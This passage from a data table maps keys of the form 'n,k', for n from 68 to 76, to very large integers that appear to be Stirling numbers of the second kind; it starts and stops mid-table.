'68,4':3629678534135278703067530912686069756701,
'68,5':2823439527835777150916585009466606610179000300,
'68,6':114009692552009224819147771972078457488453966512656,
'68,7':580966332311132684615771926747107293878215323280093748,
'68,8':637092803749272920897738016467670085216810313443506273391,
'68,9':212533364639802757393454100652364943988910763631281581456625,
'68,10':27344467216111740779462967327477501171171964931412441349065475,
'68,11':1607658776325995943883860234539960485633675559421111967707861270,
'68,12':48959674997013954043607931421439506706982362881171112674773341395,
'68,13':849455413603311545691272989884878525828403166545356267966761059700,
'68,14':9040917932419956410533709148590588447121250215983104727318812530700,
'68,15':62588076319383218693949830823417516014171865211152596231244354694800,
'68,16':295440879715777125974962021551780107551334018477962024369086560359110,
'68,17':988335457173212897880659074658497915819235657100670128536788951967175,
'68,18':2419194494486660504241105523147226260064337344202358508484483096484425,
'68,19':4450380672503006852171067198516629729974494820376547345760321987409850,
'68,20':6293971534932340878276108347089511807965370892687369246105964159931955,
'68,21':6976837322924699469642375747393016522746466185770387138180761621901040,
'68,22':6163602150389758579126527549176907637243271539349254339472120936467080,
'68,23':4402777506320980061559967506362743183203933273101806680927647407347240,
'68,24':2575189512479557921534279448526216095845109889207111999982471198130490,
'68,25':1247052940191549566482980507296488075575931668675561271191439338266250,
'68,26':504880223021445270600889488233599994763075255429194107583570687090478,
'68,27':172372824854844932947386060198671323955198898894063122108769590718684,
'68,28':50010096270803742680467161783333919880647227577076310439698244837878,
'68,29':12414357357949884467879447457296520880940342449744536709207860651000,
'68,30':2652901682285353950064657782446999062709623168824938745960901089000,
'68,31':490707388558266818268741269870220403694543632705942396252890626880,
'68,32':78950679721043090287595722413815029832330942010382108781188024380,
'68,33':11097570631257204997731046085010033685650513060095851846278966375,
'68,34':1368193471103022698141492256018730017609250189202706181517204625,
'68,35':148471789515111825673433241953612748568528868184600208360584570,
'68,36':14225994045088069332308652115732266947761210917415574040139815,
'68,37':1206919111670023143061208387174576862784749073343895731515560,
'68,38':90887719907744876759060254806130130986115097014271005958480,
'68,39':6088457705580186939801448336815053256381408904949703179880,
'68,40':363499630756992670034798401462981396601141973451264416582,
'68,41':19372975634986056878248461498954913483131711950737036098,
'68,42':922934727276104557423860084222273648721945575393482246,
'68,43':39346187739595368357569839394913127126335047151126508,
'68,44':1502295270796481252022906313509808738844194998994678,
'68,45':51402205316281219545431553865457037374578090854600,
'68,46':1576601234927492553611533310448180766726967956472,
'68,47':43350977611189754405511594034326697123424252256,
'68,48':1068351189242442936012805054171792459964354252,
'68,49':23585152221946452367506336861078373972126250,
'68,50':466019495616763447757883062012980709600150,
'68,51':8231666726799922985097517079856627328476,
'68,52':129776478160843525780744468533749654946,
'68,53':1822388108972839822876901241055397760,
'68,54':22735847246577142372015598121897360,
'68,55':251208124696891158316688010470320,
'68,56':2448629653391897529228070008124,
'68,57':20956289258061017004722904300,
'68,58':156556562922494749724101860,
'68,59':1013582413067266556222280,
'68,60':5635893881138590840628,
'68,61':26608412102061529168,
'68,62':105099896459265136,
'68,63':340530368226048,
'68,64':880699393288,
'68,65':1746855825,
'68,66':2493271,
'68,67':2278,
'68,68':1,
'69,1':1,
'69,2':295147905179352825855,
'69,3':139064194721551607723463535290025,
'69,4':14518714182895846386071468241035565319170,
'69,5':14117201268857419889861628114863945736964758201,
'69,6':684060978751583184692037548417480211537333978076236,
'69,7':4066878335870480801535222635001723135604995716927168892,
'69,8':5097323396326494499866519903668107789028360722871330280876,
'69,9':1913437374561974089461984643887752165985413682994977739383016,
'69,10':273657205525757210552023127375427376655708560077755695072111375,
'69,11':17711591006802067123501925547267042843141603118563644086135539445,
'69,12':589123758740493444467179037291814040969422030133474464064987958010,
'69,13':11091880051840064048030156799924860342476223527970802596242667117495,
'69,14':127422306467482701293163201070153116785525906190308822450430136489500,
'69,15':947862062723168236819781171499853328659699228383272048195984132952700,
'69,16':4789642151771817234293342175651899236835516160858544986136629320440560,
'69,17':17097143651660396389946166290746244676478340189189354209494498743801085,
'69,18':44533836357933101974220558491308570596977307852743123281257484688686825,
'69,19':86976427272043790695491382294963191129579738931356758077930600857271575,
'69,20':130329811371149824417693234140306865889281912674123932267879605186048950,
'69,21':152807555316351029740765999042342858785641160793865499147901958219853795,
'69,22':142576084631499388210425981829284984542098440051453982606567422224176800,
'69,23':107427484795772299995005780195520000850933736820690808000808011305453600,
'69,24':66207325805830370178382674270991929483486570614072494680506956162479000,
'69,25':33751513017268297083608792130938417985243401606096143779768454654786740,
'69,26':14373938738749126602106107201370087939415888309834608068364277202618678,
'69,27':5158946494102258460180313113597725741553445525568898404520349636494946,
'69,28':1572655520437349728000466590132021080613321271052199814420320446179268,
'69,29':410026459651350392248971138044933025427917158619667875006726203716878,
'69,30':92001407826510502969819180930706492762229037514492699088034893321000,
'69,31':17864830727591625316395637148423831577240475782709153029800510522280,
'69,32':3017129139631645707471804387112301358329133777038169877250907407040,
'69,33':445170510552530855212720243219146141458797872993545219708393914755,
'69,34':57616148648759976734541782789646854284365019492987862017863923625,
'69,35':6564706104131936596711655724395176217507760575663713474137664575,
'69,36':660607575138282321636544718119974358687932461211560873805617910,
'69,37':58882001176878925625573362441191610870796926631139716106215535,
'69,38':4660652468164328459905498069807521840257122759886193957937800,
'69,39':328337570425372167411316739941917207984990044307309429973800,
'69,40':20628442935859893741193384395334309120427087843000279843160,
'69,41':1157791631791421002042985322920132849409542163431482896600,
'69,42':58136234180582448290050585036290406729453426117263290430,
'69,43':2614820800078705396799363178203538115154352602891922090,
'69,44':105447179654640543446577717189344711635479627106892340,
'69,45':3815394510029136131567326237455375420700209087451678,
'69,46':123925862122945877011562086146073352644018616852312,
'69,47':3614097182653411010670578230061535531527907812504,
'69,48':94631834694827015334126236634572735201713256352,
'69,49':2224023648117819102020615560364632784598540502,
'69,50':46886127002784624755400489961727409452133750,
'69,51':885834498683559519997856433085668703352426,
'69,52':14980043591163786325696229443611609385668,
'69,53':226363047936404036393220234309685736226,
'69,54':3050123860288005510965743539637855200,
'69,55':36552294104906156079433438697764960,
'69,56':388331385286837419953459930925264,
'69,57':3643138141101375498497275553224,
'69,58':30036569907565712488720812180,
'69,59':216357925293463476541216380,
'69,60':1351736045935582006659960,
'69,61':7259007019364344119876,
'69,62':33124605682535967600,
'69,63':126553309657506160,
'69,64':396895129396480,
'69,65':994245021913,
'69,66':1911411711,
'69,67':2645897,
'69,68':2346,
'69,69':1,
'70,1':1,
'70,2':590295810358705651711,
'70,3':417192584164949971075569958695930,
'70,4':58074856870647580265837480687605796566705,
'70,5':70586020863001282345154526645787969720389110175,
'70,6':4104379989710767965572115152132996133169740833215617,
'70,7':28468832412072117193931250482560479429446507352468258480,
'70,8':40782654048947826479733694451979864035362490778687569415900,
'70,9':17226033694454093299657728314893437601657751507677670984728020,
'70,10':2738485492632134079609693258398161518723071014460551928460496766,
'70,11':195101158280348495569073204147312898651213342864277840642563045270,
'70,12':7087196695892723400729650373049035534476205964720257212865991035565,
'70,13':144783564432661326068859217436314998493160327893753908215219660485445,
'70,14':1795004170596597882152314971782068495339838910192294316902264577970495,
'70,15':14345353247315006253589880773567953046681014331939389545390192130780000,
'70,16':77582136491072243985513255981930241118027957802119991826382053260001660,
'70,17':295441084229998555863378169118338058736967299377077566547543107965059005,
'70,18':818706198094456231925916219134300515422069881538565573272129223140163935,
'70,19':1697085954526765125188556822095609202058992347548521526761938900976846750,
'70,20':2693572654695040279049356065101100508915217992413835403435522704578250575,
'70,21':3339288473014521448973779214029506900387746289345299414373820727802978645,
'70,22':3289481417209337570370137599286612518711806841925853116492385247151743395,
'70,23':2613408234934262288095558926326245004113574386927342566625151682249609600,
'70,24':1696403304135701184276189962699326308454611431558430680332974959204949600,
'70,25':909995151237537797268602477544452379114571610766476089174718322532147500,
'70,26':407473920224745588738367579366560704410056497661795953557239661922872368,
'70,27':153665494079510105026974561268508682961358917500194864990413717387982220,
'70,28':49193301066348050844193377637294315998726441115030493208289322129514450,
'70,29':13463422850326511103220629593435078818022918871022568189615380353968730,
'70,30':3170068694446665481343546565966127808294788284054448847647773003346878,
'70,31':645811160381850887778083932531845271656683786778476443011850719511680,
'70,32':114412963195804287955493377536017475043772756647930589101829547547560,
'70,33':17707755987865163929491572413344124026469463585825162127627906593955,
'70,34':2404119564610370064187140858067139187127208535755132528315767318005,
'70,35':287380862293377757619449733143478021897136639641217833612682183750,
'70,36':30346578809110100175627265576714253130273329179279904931139909335,
'70,37':2839241618682802569782759128444063960907418746563730369735592705,
'70,38':235986794967123407101982289093877440800567591506815086507851935,
'70,39':17465817714753842988946850927542292951671734487871261726916000,
'70,40':1153475287859767917059052115755289572802073558027320623700200,
'70,41':68097899839308154824955782635059755946218316543691078603760,
'70,42':3599513467375883830225109894444329932046586060356541094660,
'70,43':170573528583966780352423201699042545681090588041615940300,
'70,44':7254496704882889308448782734534705427115456195595185050,
'70,45':277139932605951669367107397874836605566989036042217850,
'70,46':9515984167684646474099182200174749642325065462658030,
'70,47':293788429707656194513079262958965522625830284040000,
'70,48':8156425248005107746708637588521026821210144117400,
'70,49':203608993452600151333136399092439741647041740950,
'70,50':4568329998257050339790640058451003257205228002,
'70,51':92063686435646160275291168049096513323107476,
'70,52':1664796765424076408934060364153472391407162,
'70,53':26977285131793200254536901862024953405646,
'70,54':391069736391956333985370385450129917026,
'70,55':5060500036057844095334582668014928000,
'70,56':58298851680969051596827194829579744,
'70,57':595990259329615823367804637459032,
'70,58':5385259195740186822843082659664,
'70,59':42801687499880057604652578600,
'70,60':297462088049598396940813980,
'70,61':1794535474116806997972396,
'70,62':9312732571681574111076,
'70,63':41097464190958855680,
'70,64':151954597938880880,
'70,65':461521055820825,
'70,66':1120398194839,
'70,67':2088686810,
'70,68':2805425,
'70,69':2415,
'70,70':1,
'71,1':1,
'71,2':1180591620717411303423,
'71,3':1251577752495440209037068581739501,
'71,4':232299427899782905228299893825993144962750,
'71,5':352930162389863282373352899066420536207742117580,
'71,6':24626350524285470794715036067324622586988165388403877,
'71,7':199285931264494531125484325493075489002258721208111024977,
'71,8':326289701223994683955063486866321472762329372736853023585680,
'71,9':155075085904135787523399288528492918278955126059877726431968080,
'71,10':27402080960015794889396590312296508624832367896113196955589695680,
'71,11':2148851226576465585339414938878840046682069842521516798996653994736,
'71,12':85241461508993029304324877680735739312365684919507364395034455472050,
'71,13':1889273534320489962295899477045144015945560468583521064010721577346350,
'71,14':25274841952785031676201268822385273933250905070585874344846923752072375,
'71,15':216975302880321691686000526575301364195555053889283137497755146539670495,
'71,16':1255659537104470910021801976484451810935128339165859258767503044290806560,
'71,17':5100080568401047693662942130993677239646472047212438623134614888666004745,
'71,18':15032152649930210730529870113535747336334225167071257885445869124488009835,
'71,19':33063339334102993610508495838950875354542924484960474581748968341700252185,
'71,20':55568539048427570706175678124117619380363352195825229595472392992541858250,
'71,21':72818630587999990707498719559720745417057890068665123105285757988440802120,
'71,22':75707879651619947997116806398334982312047496811714067977206296165141333335,
'71,23':63397870820697370196567992904790247613324017741254732148870873938892764195,
'71,24':43327087534191090710724118031110076407024248744329678894616550703168400000,
'71,25':24446282085074146115991251901310635786318901700720332909700933022508637100,
'71,26':11504317077080923104466159541075030693776040549973170881662949532526829068,
'71,27':4556442260371518424466680733616295144366747270167057308298410031398392308,
'71,28':1531077923937255528664389135112749530925699268721048674822514737014386820,
'71,29':439632563725816872837591635846911601721391088374684970707135352394607620,
'71,30':108565483683726475543527026572418913066866567392656033619048570454375070,
'71,31':23190214666284043002464148474453331229651985674187218581015145308208958,
'71,32':4307025982647588102353872013684404473057411999512255294270396241033600,
'71,33':698768910795354697628715267176373567917265054980160939313550465148075,
'71,34':99447821184617746111854361587626856388794553801499668090363995406125,
'71,35':12462449744878591580867881518088869953526990923197756704759643749255,
'71,36':1379857699421341363942031293905191134586976490095294411133718919810,
'71,37':135398518700373795257589353329144619683847822802137928611356839420,
'71,38':11806739827433492039658086114011406711328987223822703657033966235,
'71,39':917153685842523283670909475268026865915765236533794293857575935,
'71,40':63604829229144559671308935557753875863754676808964086674924000,
'71,41':3945489181271402264882239203792739566597024536318654846454360,
'71,42':219277465469095275694410398201721613092174931078665804579480,
'71,43':10934175196486455385379307567503159396333481346146026527560,
'71,44':489771383598813909924169642018569584474170660647804082500,
'71,45':19725793672150714429968615638902352677629962817494988300,
'71,46':714875204319445407175669779082875089113942047324487230,
'71,47':23324040363944487616213907559246129205739088812538030,
'71,48':685296841611901366355093867207974810043917201675200,
'71,49':18133265927182515162032321144050574161915189423950,
'71,50':432025493365452668322668402014989904507303141050,
'71,51':9263578006475004513830489628954925436683709278,
'71,52':178633118237698133539862306985077077676279900,
'71,53':3094592877409116022424516162840794921906400,
'71,54':48095050896958842289746902676331968925050,
'71,55':669397238375137759228772432190950957026,
'71,56':8325235730192110984756905578471393664,
'71,57':92270296462757153528792059164744568,
'71,58':908335292682546659092703431719544,
'71,59':7910558758233110221517584797064,
'71,60':60649412782855961421101417400,
'71,61':406928751970723623817130136,
'71,62':2371924893561064592859108,
'71,63':11901872815711982018916,
'71,64':50822558459047232000,
'71,65':181953466567234505,
'71,66':535467336680199,
'71,67':1260340211109,
'71,68':2279455710,
'71,69':2972060,
'71,70':2485,
'71,71':1,
'72,1':1,
'72,2':2361183241434822606847,
'72,3':3754733257487501218731923156521926,
'72,4':929197712850709373408639784341041161590501,
'72,5':1764651044248744311649669723631996507031855550650,
'72,6':147758456075875214631572589756846801942465200072540842,
'72,7':1395026145201986003349184993487595747638398036622165578716,
'72,8':2610516895723221966171633379256064857587637240616032299710417,
'72,9':1396002062838446082394548660243302585983358463911636390911298400,
'72,10':274175884686062084681489302411493579166602634087191847282328924880,
'72,11':23664765573301137233622960917979537022127600635632797985918783637776,
'72,12':1025046389334492817237237947107707711795070288876609889539410119659336,
'72,13':24645797407675362539151018079267607946604651776505281196534414960974600,
'72,14':355737060873310933429113662990438979081458231456785761891867654106359600,
'72,15':3279904385157610406966209167451905736866576713409832936811174121847129800,
'72,16':20307527896551856252034832150326530339157608480543031277777803855192575455,
'72,17':87957029199922281702291818203376964884925153141777315852055956151612887225,
'72,18':275678828267144840843200604174637129293662525054495080561160259129450181775,
'72,19':643235599997887089330191291053602379072649790381320274938676267616792801350,
'72,20':1144434120302654407734022058321303262961809968401465066491196828192537417185,
'72,21':1584759781396427375563648788878253273138579043637792814806473310749798702770,
'72,22':1738391982923638846644068460323090356282102819926374618603824273621550135490,
'72,23':1533858908527659462518180643208510677418499904860572907401236396759674909820,
'72,24':1103247971641283547253946825651432081381905987605167025619668090814934364195,
'72,25':654484139661044743610505415563875971064996791262338001637139876265884327500,
'72,26':323558526089178146832111399969261433824495956000022775832937620868206192868,
'72,27':134528258107111920565066539348714999591678216844483718205720020380283421384,
'72,28':47426624130614673227069576516773282010286326794356420203328822667801223268,
'72,29':14280422271985944840954546574673185980846040831586912825329439956458007800,
'72,30':3696597074237611139143402433019478993727388110154365979278592466025859720,
'72,31':827462138338531808619915629280472181186078123292459809630518075008852768,
'72,32':161015046111006862277788052912354274367489169658579387997667825021284158,
'72,33':27366400038894293124101475830504732214327158813857566291617561590920075,
'72,34':4079994831072358065431763561155686685136279884231149654385926308956325,
'72,35':535633562255368451442230214720737304762239236113421152756951526630050,
'72,36':62137326924046880682781008098675750798658144566628355505573524862415,
'72,37':6389602891335171788472837367083542062889345933774397769753921978350,
'72,38':584054632142846492764596625661578074714349337307400667578647556350,
'72,39':47575733575291900102823555649464454482043831448640681117479427700,
'72,40':3461346855008305670523266897578181900465952308892357760854535935,
'72,41':225369885661272052531480742913256198094232682798028935379552760,
'72,42':13155142730973403844047475928265047316468371641622618638792520,
'72,43':689446998918012857265720623604357467134514628962944945264560,
'72,44':32484116074834267422042771816320221113196990414649406157560,
'72,45':1377432098845596059272757345769175454967518987435078556000,
'72,46':52610053070845203160049425476714606776871296994421400880,
'72,47':1811105101424836325137723434367443161783679221513774640,
'72,48':56218288761315753201258413185228920087847114492947630,
'72,49':1573826872043844609294677603266452943977761483448750,
'72,50':39734540595455148578165741244800069387280346476450,
'72,51':904467971695677898528023373091691101778172314228,
'72,52':18552500154835307457903329592178933475850264078,
'72,53':342646540740381282728361663615639208537319100,
'72,54':5691725625844893506070848907362721243859100,
'72,55':84911899007591419047329386446834271561480,
'72,56':1135610439265895974375159144585349002210,
'72,57':13584642628569268735898052950861834040,
'72,58':144953743438344859756168858204478120,
'72,59':1375058259418300162162240934746320,
'72,60':11549523525204467906783669841064,
'72,61':85472066653070102473946355696,
'72,62':553988095371509628574394832,
'72,63':3121742880950919460050816,
'72,64':15154516557091004866916,
'72,65':62649533785917474825,
'72,66':217294310788127639,
'72,67':619910130824502,
'72,68':1415343199389,
'72,69':2484527850,
'72,70':3146010,
'72,71':2556,
'72,72':1,
'73,1':1,
'73,2':4722366482869645213695,
'73,3':11264199772464864839437204292172625,
'73,4':3716790855157570751122060356096087802883930,
'73,5':8823256150441434408957722026799766876200439343751,
'73,6':886552501106295536533747188210804443651298232290795702,
'73,7':9765330774869977898658926527002927080270728721555231591854,
'73,8':20885530191930977715376416219042006456448736322964880563262052,
'73,9':12566629082441737963517109575568979338707813812445343550501396017,
'73,10':2743154848923459292897287572775179094252009699335830109214200547200,
'73,11':260586597190998571654534059400186400822570209626047969692388948940416,
'73,12':12324221437587214944080478326210472078562971067154951472458840219549808,
'73,13':321420412689114205826200472977586611017655543383445265444486804612329136,
'73,14':5004964649634028430546742299945413315087019892171505947682681572450009000,
'73,15':49554302838237467037922251174769025032080108932604279814059479481813306600,
'73,16':328200350729987310439523523572676391163388312402098333381256035804928337080,
'73,17':1515577024295230645190995741607734933382885211890757400762729058432611658280,
'73,18':5050175938008529416879902693346845292170850604122688765952940620481716159175,
'73,19':12497155228226999538116835134193082331674008542299580304396009343848513407425,
'73,20':23531918006050975244010632457479667638308849158410621604762612831467541145050,
'73,21':34424389529627629294570646624764621998871969884795114177427136353938310175355,
'73,22':39829383405716482001733154915986241111344841082018034424090607330423901683550,
'73,23':37017146879059806484562223254118835936907600631719551488832261399094073061350,
'73,24':28011810227918464596612904458842880630584243607384581522273270576318099650500,
'73,25':17465351463167402137516582214748331358006825769163617066548164997462042551695,
'73,26':9067005817979676561245401814764673250501891647262930173293518018839245342068,
'73,27':3955821494981200002088907962384566422799807810801083167387378171135858570236,
'73,28':1462473733764322770923014681818366895879695367086463483898927055078717672888,
'73,29':461558870018207073614751427182295675454821510910376892137882581405083449468,
'73,30':125178334499114279015256619565257555792667684136217892203687213937233799400,
'73,31':29347923362732097206360786940714116610495809932220620077824652791300295528,
'73,32':5979943613890751401509133322475808960945731552367000225555888475689945824,
'73,33':1064106247394518535373136755319010437440285410515879075621047357521646633,
'73,34':166086224295354467348781436909798079508960674877716654540739056095435125,
'73,35':22827169510010253865909821076381492351814653148200890000879229741008075,
'73,36':2772577331521056156022346506273064333513932440512041950957598421676990,
'73,37':298552633903448236856275990680766807125563944116281072986468638061365,
'73,38':28583678912763338513527509142223508902034620751455623137742529119650,
'73,39':2439508241579230596774715295990691799514058763804387231160345236650,
'73,40':186029607775624126923754231552591730500681923804334991551660865100,
'73,41':12701512167120459824313977357021686022329492303611544111416199095,
'73,42':777885880362155013981474731900388185385904291746178918208838600,
'73,43':42801363684447956706473462743252418403252500687029251285168600,
'73,44':2118748106210720623835602583522447196115182207207518816197200,
'73,45':94468560522886090089316852375933116586735344849227941177560,
'73,46':3797494540104475404635030917698047366703598649178462996480,
'73,47':137731992837812510441522426891984435380704220405568808960,
'73,48':4509582961967992478798127267258431326000340717175260880,
'73,49':133335805491464139056697615745285114342757427181936380,
'73,50':3560553901816602038202964665506456413341778807271250,
'73,51':85862407151934721403094933272476315577967134502078,
'73,52':1869197979747113886338996511884995642522386046284,
'73,53':36712766814075515442506497763807811528328176378,
'73,54':649999724536005532056187504613226155705710500,
'73,55':10361880071262421553673965161938606179740500,
'73,56':148506083606481593612338298543613815685240,
'73,57':1909935069094344292321348162784473542490,
'73,58':21991959747993270601755846726721565000,
'73,59':226082180744024569323741073354511000,
'73,60':2068029670930568236569261125210160,
'73,61':16763319591041744157694397538520,
'73,62':119819328566103699445558835280,
'73,63':750657896871417554557596240,
'73,64':4091631940604743771533440,
'73,65':19226736253175640730541,
'73,66':76990958297933898999,
'73,67':258828289553369273,
'73,68':716153468382954,
'73,69':1586775621039,
'73,70':2704748550,
'73,71':3327486,
'73,72':2628,
'73,73':1,
'74,1':1,
'74,2':9444732965739290427391,
'74,3':33792599317399316884794482521731570,
'74,4':14867163431894482776953106263821555503708345,
'74,5':44116284468998027202359361256059190477089999602685,
'74,6':5319323829893923660636892086986853461674665594184117963,
'74,7':68358201976590951586149019436208700366338752349118911938680,
'74,8':167094006866222691700909988678863054578670161312440599737688270,
'74,9':113120547272167572649369362596339856054826773048331056835075826205,
'74,10':27444115118317034666936392837327359921858804807170746435692506868017,
'74,11':2869195723949907747492771940974825588142524315585863496725492638891776,
'74,12':148151243848237577900620273973925851343578223015485465639198471583538112,
'74,13':4190789586396071890684686627034836415308085035051943402250787300179828576,
'74,14':70390925507565512233480592672213373022235934033784528533002028818912455136,
'74,15':748319507223196033999380509921480788796288653881235703158574873799649608000,
'74,16':5300759914518034434070298628337591283646293107366177613914156052360666699880,
'74,17':26093009763748908278686451130904170258672436914544974146347650029159326527840,
'74,18':92418743908448760149029244221850950192458196086099155187915660227103502523430,
'74,19':242496125274321520641099770243015409593977012907814714549477118153603470900250,
'74,20':483135515349246504418329484283786435097850991710512012399648265973199336308425,
'74,21':746444098128231190429994211577536729614620216739108019330732476264172054827505,
'74,22':910670824455390233332700054776461926448458473689191871507420497623264147213455,
'74,23':891223761624092031146664289760719467660219655611567718667232619509587582094600,
'74,24':709300592349102956803271930266347971070929447208949508023390755230728464673350,
'74,25':464645596807103518034527459827551164580754887836475008185977395512869163442875,
'74,26':253207502730638992729897029398629835871056008597999801572179633487282421445463,
'74,27':115874186182472076617645916799147966666096702538892175692752728639507426738440,
'74,28':44905086040382237587933319053298839507431278089222060716557335713339953411100,
'74,29':14847680964292327905750806070104941484069519183487393355897521915826137707460,
'74,30':4216908904991635444072450014140022349234852034996913658248498999522097431468,
'74,31':1034963958743809292412441014727395170718037792035057114616251450467542960768,
'74,32':220706119007236142054653053259940003360759219607964627295613084013378561896,
'74,33':41095449777909863068822646248003153396475150099391009721050451273904284713,
'74,34':6711037873436570425231705610252145140744948356358245330006175264766440883,
'74,35':965037157145713352655625174583150311822473535064747804571512097030717750,
'74,36':122639953444768275482714295302211808358316221006634400235352772921379715,
'74,37':13819024785948640919704558161461436197159798372814441651456938029947495,
'74,38':1384732432588455100370321338085260145402879532671594752220684744608065,
'74,39':123724500334353331787741405685860489083082912539826725152995993349000,
'74,40':9880692552604195673724884558094361019541335715977786893226779840650,
'74,41':706791606627562979720627303190480857416191108252408300119725027995,
'74,42':45372719142330970411535916096837989808537472556951058676187420295,
'74,43':2618344518793417152359833629860242176725761821288436723471088400,
'74,44':136026280357719664155239976418240095032320517804160079197845400,
'74,45':6369833329740594677854860940439437442518272725422776169187400,
'74,46':269153309367691958702528274590043295455100882711437239015640,
'74,47':10270898203481663395386584981621315829596697008240197017600,
'74,48':354191975012276149423832535720389139028720574829981331200,
'74,49':11043037431049735292576310438777401928795454649090143500,
'74,50':311363500582294240966845849020607935009846367545498880,
'74,51':7939536666565272829760806262402748507818102666877228,
'74,52':183060702098784643492722751890496088989131208908846,
'74,53':3814974620893116204791840893366809653523779394318,
'74,54':71812751939019814173540623012922023936436543378,
'74,55':1219903128455438717508255588519849495591438000,
'74,56':18678220753225390795964909880380979858113940,
'74,57':257372382544859218274655143822328807607170,
'74,58':3185468734477953987223187272934324312490,
'74,59':35330808411890720191856570054637714000,
'74,60':350163960999858663517896740867120600,
'74,61':3090592165984114630188619375059880,
'74,62':24192117962140173523319045325880,
'74,63':167110776069003005382687398400,
'74,64':1012522341070121155935736400,
'74,65':5341369797061160419018605,
'74,66':24308139500839278064475,
'74,67':94332453698009640290,
'74,68':307526725403410145,
'74,69':825640986234645,
'74,70':1776108019539,
'74,71':2941000056,
'74,72':3516702,
'74,73':2701,
'74,74':1,
'75,1':1,
'75,2':18889465931478580854783,
'75,3':101377797952207395387349186855622101,
'75,4':59468653761370530425211741940080704536564950,
'75,5':220581437212153567906279583233402216207005501721770,
'75,6':31915987095648010961848554881282376829238470655104310463,
'75,7':478512733159966555026703772945547889417832941109426567688723,
'75,8':1336820413131758124558866058450340645329727629251873916813444840,
'75,9':1018252019456374376536025173355737567548019627596291952115420124115,
'75,10':274554271730442514242013297735869939074642874844755795413760144506375,
'75,11':31588597078567302257087427743560408829489626276251669210416111534677553,
'75,12':1780684121902800842554936059628085041711081200501411451167107151641349120,
'75,13':54628415866997172156801546425426799250348683678690749694899433373921309600,
'75,14':989663746692313243159412984038022058726611161508035342864279190764954200480,
'75,15':11295183533855506022224188241494425204966565742252320075911625135813656575136,
'75,16':85560478139511746979124158563322941327136978371740077525785071711570316806080,
'75,17':448881925898249475171739967853708485681077720654630738101824206548069217673160,
'75,18':1689630400115826590961212847124221273722919966464329767528829534117022371949580,
'75,19':4699845124120557652329924878839143732478021441334578731627980905145569449628180,
'75,20':9905206432259251609007689455918744111550996847118054962542442437617590197068750,
'75,21':16158461576042101503448207927412057757004875543231780418345030267520812487686030,
'75,22':20781202236146816323749395416659699111480706637901329192493983423975983293523515,
'75,23':21408817341809506949705978719273009682633510552755249400853770746343778535389255,
'75,24':17914437978002562994425190616153070773362526388626355911228610745047070734255000,
'75,25':12325440512526690907666458425955127085589801643120824712672825643052457550745225,
'75,26':7048040667803717329011850224191926897228211111384469849062647866182212121024913,
'75,27':3381810529657385061406336782975624935855666977148088545276503306753982943383343,
'75,28':1373216595313174729079778850291515472874172489037109875756358128613026122249240,
'75,29':475487834004859746854706695086342142545447334410356468037585471272297946927440,
'75,30':141354948114041391227924306494305611961115080233394803103352491901489060651500,
'75,31':36300791626049723508858121470689272641494023588083684211352293964015929215276,
'75,32':8097559766975365838161338719045475278262332819489925188075870138895656941440,
'75,33':1576855961678261623325800379444044065444439172887867948090277976052219957425,
'75,34':269270737474753257526700636996576088181803394215571350941260410275963274735,
'75,35':40487338373536537768178586720662406054531522083624418490009098660841562133,
'75,36':5380075481157371270033339805462775412721857491303586213044211922200387490,
'75,37':633943870524867989511782947276284947653228760800768741339259480029437030,
'75,38':66438857224309934733776769008701321722469220614335042235842958325053965,
'75,39':6209987945628235040092236159833819219643113121724837033187528485219065,
'75,40':518952202438521158736736788009634929864736341178938200882067186975000,
'75,41':38859148424334277842270603988904076173605171154326527198135505988445,
'75,42':2612445810605463737005135779257676429374764955644352764519596680385,
'75,43':157961533450447907963008762180828403407745230872353837785444221495,
'75,44':8603500854533082375190392592262806358147864604671480208176286000,
'75,45':422668780196046424658708718738014779945642790448185006811278400,
'75,46':18750885560654424778171161571581429033452913330148889163906840,
'75,47':751885524931330138285697768726245139446145642098726498842840,
'75,48':27272113004070918567730546696199994502975284600079300915200,
'75,49':895300809133713178760071747220481833539697852635398362700,
'75,50':26611212460164447340918602889807798679287773026365087500,
'75,51':716279870577123155284646968403148108908569603556237508,
'75,52':17458693175702074291382389360708545135252925530137220,
'75,53':385254357006119802346690319238937000625891516807700,
'75,54':7692863225600186170163034536064598946091352736730,
'75,55':138907424004068943636494680381513746193965633378,
'75,56':2265883490636060602082290541821184367645818640,
'75,57':33348446558282366237620253078253721891722630,
'75,58':442129569144580549533600005652519617731590,
'75,59':5269986430779506478542724906157949438490,
'75,60':56340646071882240002930374506664950000,
'75,61':538690083124889655959402522745773280,
'75,62':4590503479636805388634400185264440,
'75,63':34720096854487362862428351425080,
'75,64':231912205897490759362574528000,
'75,65':1359711377879096583171945725,
'75,66':6945707004116552771273955,
'75,67':30628413898605923963905,
'75,68':115244271025441530150,
'75,69':364495953453600650,
'75,70':949968547602375,
'75,71':1984919023515,
'75,72':3194202600,
'75,73':3713875,
'75,74':2775,
'75,75':1,
'76,1':1,
'76,2':37778931862957161709567,
'76,3':304133393856641075627979039147721086,
'76,4':237874615146859919653054363147672005001881901,
'76,5':1102907245529421600901928341378753021115732045173800,
'76,6':191496143155325277924659235567277494377647030936127584548,
'76,7':3349621048106861533197888259173716508301659826236641078131524,
'76,8':10695041817787224963025955171375670710527238866956100761075247443,
'76,9':9165604995520501146948785426260088448577506375995879442955594561875,
'76,10':2746560969323881516796669002532055128313976768075154246089716865187865,
'76,11':347749122135970767342203718476900367063460531913613117109990987025959458,
'76,12':21399798059912177412916320143280580909362464032293189083215701931230866993,
'76,13':711950090392866038880975039590176475296243969023481157484859741012618373920,
'76,14':13909920869559382576388583322957735621422904944791185549794808104083280116320,
'76,15':170417416754524903576522236606454400133225097295292836481538656227969802827520,
'76,16':1380262833766043457688210725254661486439158219690093560488472772520938725472416,
'76,17':7716553218409752824898703612076367197905458229500462625256796583028747017249800,
'76,18':30862229127983128112473571216089691412693637117012566553620755820654471912765600,
'76,19':90986687758406421985229785545067952190805327351821325668460466731882841914885000,
'76,20':202803973769305589832483713997214025963497958383695677982476829657497373391003180,
'76,21':349232899529143383181420055931571957008653383254985443747788078055554652438475380,
'76,22':473344910771272060625934907093925438209580421577061022653212665594992444945203360,
'76,23':513184001097765476166986905959938921812051449351272065412130710589882889607476380,
'76,24':451355328813871018815910553506946708243334143879787791270340428627473476157509255,
'76,25':326050450791169835686086651265031247913107567466646973728049251821358509502885625,
'76,26':195574497875423341461974564254945226413523290539117040788301670163789972697392963,
'76,27':98356924968553113986982943364533800165331219494382860571528237148539751592375174,
'76,28':41831875198426277475640144591138058176332496670187165066454530907918714366362063,
'76,29':15162363781454107387866273007795437606692145186937447448846336795509666583145000,
'76,30':4716136277426101483692435889915510501378899741412200561138160228316969766472440,
